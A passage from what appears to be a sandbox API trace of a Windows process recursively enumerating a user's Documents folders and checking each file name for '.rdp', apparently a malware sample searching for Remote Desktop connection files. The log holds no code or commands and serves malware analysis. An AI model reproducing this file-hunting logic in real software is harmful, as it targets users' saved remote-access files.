Pictures\\*.*", lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 0xffffffff [0056.999] LocalFree (hMem=0x2d2ef8) returned 0x0 [0056.999] LocalFree (hMem=0x2fc4c8) returned 0x0 [0056.999] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0056.999] lstrcmpiA (lpString1=".", lpString2="My Shapes") returned -1 [0056.999] lstrcmpiA (lpString1="..", lpString2="My Shapes") returned -1 [0056.999] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0056.999] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0056.999] lstrlenA (lpString="\\") returned 1 [0056.999] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x2f9e38 [0056.999] lstrcpyA (in: lpString1=0x2f9e38, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents" [0056.999] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0056.999] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned 34 [0056.999] lstrlenA (lpString="My Shapes") returned 9 [0056.999] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.999] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0056.999] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\", lpString2="My Shapes" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes" [0056.999] LocalFree (hMem=0x2f9e38) returned 0x0 [0056.999] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes") returned 43 [0056.999] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes") returned 43 [0056.999] lstrlenA (lpString="\\*.*") returned 4 [0056.999] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x2fc580 [0056.999] lstrcpyA (in: lpString1=0x2fc580, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes" [0056.999] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\*.*" [0056.999] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\*.*", lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 0x2dc938 [0056.999] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.999] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0056.999] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.999] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.999] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0056.999] StrStrIA (lpFirst="desktop.ini", lpSrch=".rdp") returned 0x0 [0056.999] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0056.999] StrStrIA (lpFirst="Favorites.vssx", lpSrch=".rdp") returned 0x0 [0056.999] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0056.999] lstrcmpiA (lpString1=".", lpString2="_private") returned -1 [0056.999] lstrcmpiA (lpString1="..", lpString2="_private") returned -1 [0056.999] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes") returned 43 [0056.999] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes") returned 43 [0056.999] lstrlenA (lpString="\\") returned 1 [0056.999] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x2fc638 [0057.000] lstrcpyA (in: lpString1=0x2fc638, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes" [0057.000] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\" [0057.000] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\") returned 44 [0057.000] lstrlenA (lpString="_private") returned 8 [0057.000] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x2d2ef8 [0057.000] lstrcpyA (in: lpString1=0x2d2ef8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\" [0057.000] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\", lpString2="_private" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\_private") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\_private" [0057.000] LocalFree (hMem=0x2fc638) returned 0x0 [0057.000] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\_private") returned 52 [0057.000] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\_private") returned 52 [0057.000] lstrlenA (lpString="\\*.*") returned 4 [0057.000] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d1318 [0057.000] lstrcpyA (in: lpString1=0x2d1318, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\_private") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\_private" [0057.000] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\_private\\*.*" [0057.000] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x21f760 | out: lpFindFileData=0x21f760) returned 0x2dc978 [0057.000] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0057.000] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f760 | out: lpFindFileData=0x21f760) returned 1 [0057.000] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0057.000] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0057.000] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f760 | out: lpFindFileData=0x21f760) returned 1 [0057.000] StrStrIA (lpFirst="folder.ico", lpSrch=".rdp") returned 0x0 [0057.000] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f760 | out: lpFindFileData=0x21f760) returned 0 [0057.000] FindClose (in: hFindFile=0x2dc978 | out: hFindFile=0x2dc978) returned 1 [0057.000] LocalFree (hMem=0x2d1318) returned 0x0 [0057.000] LocalFree (hMem=0x2d2ef8) returned 0x0 [0057.000] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 0 [0057.000] FindClose (in: hFindFile=0x2dc938 | out: hFindFile=0x2dc938) returned 1 [0057.000] LocalFree (hMem=0x2fc580) returned 0x0 [0057.000] LocalFree (hMem=0x2fc4c8) returned 0x0 [0057.000] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.000] lstrcmpiA (lpString1=".", lpString2="My Videos") returned -1 [0057.000] lstrcmpiA (lpString1="..", lpString2="My Videos") returned -1 [0057.000] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0057.000] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0057.000] lstrlenA (lpString="\\") returned 1 [0057.000] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x2f9e38 [0057.000] lstrcpyA (in: lpString1=0x2f9e38, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents" [0057.000] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0057.000] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned 34 [0057.000] lstrlenA (lpString="My Videos") returned 9 [0057.000] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0057.000] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0057.000] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Videos") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Videos" [0057.001] LocalFree (hMem=0x2f9e38) returned 0x0 [0057.001] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Videos") returned 43 [0057.001] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Videos") returned 43 [0057.001] lstrlenA (lpString="\\*.*") returned 4 [0057.001] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x2fc580 [0057.001] lstrcpyA (in: lpString1=0x2fc580, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Videos" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Videos") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Videos" [0057.001] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Videos\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Videos\\*.*" [0057.001] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\My Videos\\*.*", lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 0xffffffff [0057.001] LocalFree (hMem=0x2fc580) returned 0x0 [0057.001] LocalFree (hMem=0x2fc4c8) returned 0x0 [0057.001] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.001] StrStrIA (lpFirst="NAaJLKWJUQRz.xlsx", lpSrch=".rdp") returned 0x0 [0057.001] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.001] lstrcmpiA (lpString1=".", lpString2="Outlook Files") returned -1 [0057.001] lstrcmpiA (lpString1="..", lpString2="Outlook Files") returned -1 [0057.001] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0057.001] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0057.001] lstrlenA (lpString="\\") returned 1 [0057.001] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x2f9e38 [0057.001] lstrcpyA (in: lpString1=0x2f9e38, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents" [0057.001] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0057.001] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned 34 [0057.001] lstrlenA (lpString="Outlook Files") returned 13 [0057.001] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x2fc4c8 [0057.001] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0057.001] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\", lpString2="Outlook Files" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\Outlook Files") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\Outlook Files" [0057.001] LocalFree (hMem=0x2f9e38) returned 0x0 [0057.001] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\Outlook Files") returned 47 [0057.001] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\Outlook Files") returned 47 [0057.001] lstrlenA (lpString="\\*.*") returned 4 [0057.001] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x2d2ef8 [0057.001] lstrcpyA (in: lpString1=0x2d2ef8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\Outlook Files") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\Outlook Files" [0057.001] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\Outlook Files", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\Outlook Files\\*.*" [0057.001] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\Outlook Files\\*.*", lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 0x2dc938 [0057.001] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0057.001] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0057.001] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0057.001] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0057.001] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0057.001] StrStrIA (lpFirst="cjvue@idhe.com.pst", lpSrch=".rdp") returned 0x0 [0057.001] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 0 [0057.001] FindClose (in: hFindFile=0x2dc938 | out: hFindFile=0x2dc938) returned 1 [0057.002] LocalFree (hMem=0x2d2ef8) returned 0x0 [0057.002] LocalFree (hMem=0x2fc4c8) returned 0x0 [0057.002] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.002] StrStrIA (lpFirst="pI8 cxP0Q.docx", lpSrch=".rdp") returned 0x0 [0057.002] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.002] StrStrIA (lpFirst="QXWTW5henjq45siD.xlsx", lpSrch=".rdp") returned 0x0 [0057.002] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.002] StrStrIA (lpFirst="RAcdCLm1gs6QXedtLdv7.pptx", lpSrch=".rdp") returned 0x0 [0057.002] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.002] StrStrIA (lpFirst="tL LzwEywDvvC.xlsx", lpSrch=".rdp") returned 0x0 [0057.002] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.002] StrStrIA (lpFirst="Vsvz5VyPrvlVO89C.pptx", lpSrch=".rdp") returned 0x0 [0057.002] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.002] lstrcmpiA (lpString1=".", lpString2="WyJQfXPRvA") returned -1 [0057.002] lstrcmpiA (lpString1="..", lpString2="WyJQfXPRvA") returned -1 [0057.002] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0057.002] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0057.002] lstrlenA (lpString="\\") returned 1 [0057.002] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x2f9e38 [0057.002] lstrcpyA (in: lpString1=0x2f9e38, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents" [0057.002] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0057.002] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned 34 [0057.002] lstrlenA (lpString="WyJQfXPRvA") returned 10 [0057.002] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x2fc4c8 [0057.002] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0057.002] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\", lpString2="WyJQfXPRvA" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\WyJQfXPRvA") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\WyJQfXPRvA" [0057.002] LocalFree (hMem=0x2f9e38) returned 0x0 [0057.002] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\WyJQfXPRvA") returned 44 [0057.002] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\WyJQfXPRvA") returned 44 [0057.002] lstrlenA (lpString="\\*.*") returned 4 [0057.002] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x2d2ef8 [0057.002] lstrcpyA (in: lpString1=0x2d2ef8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\WyJQfXPRvA" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\WyJQfXPRvA") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\WyJQfXPRvA" [0057.002] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\WyJQfXPRvA", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\WyJQfXPRvA\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\WyJQfXPRvA\\*.*" [0057.002] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\WyJQfXPRvA\\*.*", lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 0x2dc938 [0057.002] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0057.002] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0057.002] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0057.002] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0057.002] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0057.002] StrStrIA (lpFirst="DHgnlVpZ3lvPkDQ.xlsx", lpSrch=".rdp") returned 0x0 [0057.002] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 0 [0057.002] FindClose (in: hFindFile=0x2dc938 | out: hFindFile=0x2dc938) returned 1 [0057.002] LocalFree (hMem=0x2d2ef8) returned 0x0 [0057.002] LocalFree (hMem=0x2fc4c8) returned 0x0 [0057.002] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.002] lstrcmpiA (lpString1=".", lpString2="ymqYua5gihZXt5YY9sK") returned -1 [0057.002] lstrcmpiA (lpString1="..", lpString2="ymqYua5gihZXt5YY9sK") returned -1 [0057.002] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0057.002] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned 33 [0057.002] lstrlenA (lpString="\\") returned 1 [0057.003] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x2f9e38 [0057.003] lstrcpyA (in: lpString1=0x2f9e38, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents" [0057.003] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0057.003] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned 34 [0057.003] lstrlenA (lpString="ymqYua5gihZXt5YY9sK") returned 19 [0057.003] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x2d2ef8 [0057.003] lstrcpyA (in: lpString1=0x2d2ef8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\" [0057.003] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\", lpString2="ymqYua5gihZXt5YY9sK" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK" [0057.003] LocalFree (hMem=0x2f9e38) returned 0x0 [0057.003] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK") returned 53 [0057.003] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK") returned 53 [0057.003] lstrlenA (lpString="\\*.*") returned 4 [0057.003] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2d1318 [0057.003] lstrcpyA (in: lpString1=0x2d1318, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK" [0057.003] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\*.*" [0057.003] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\*.*", lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 0x2dc938 [0057.003] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0057.003] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0057.003] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0057.003] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0057.003] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0057.003] StrStrIA (lpFirst="1eHisKgXjHl6Wmlw.xlsx", lpSrch=".rdp") returned 0x0 [0057.003] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0057.003] StrStrIA (lpFirst="fx6e4u.pdf", lpSrch=".rdp") returned 0x0 [0057.003] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0057.003] lstrcmpiA (lpString1=".", lpString2="jLbI") returned -1 [0057.003] lstrcmpiA (lpString1="..", lpString2="jLbI") returned -1 [0057.003] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK") returned 53 [0057.003] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK") returned 53 [0057.003] lstrlenA (lpString="\\") returned 1 [0057.003] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x2d2e38 [0057.003] lstrcpyA (in: lpString1=0x2d2e38, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK" [0057.003] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\" [0057.003] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\") returned 54 [0057.003] lstrlenA (lpString="jLbI") returned 4 [0057.003] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x2d13e0 [0057.003] lstrcpyA (in: lpString1=0x2d13e0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\" [0057.003] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\", lpString2="jLbI" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI" [0057.003] LocalFree (hMem=0x2d2e38) returned 0x0 [0057.003] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI") returned 58 [0057.003] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI") returned 58 [0057.003] lstrlenA (lpString="\\*.*") returned 4 [0057.003] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x2d14a8 [0057.003] lstrcpyA (in: lpString1=0x2d14a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI" [0057.003] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK 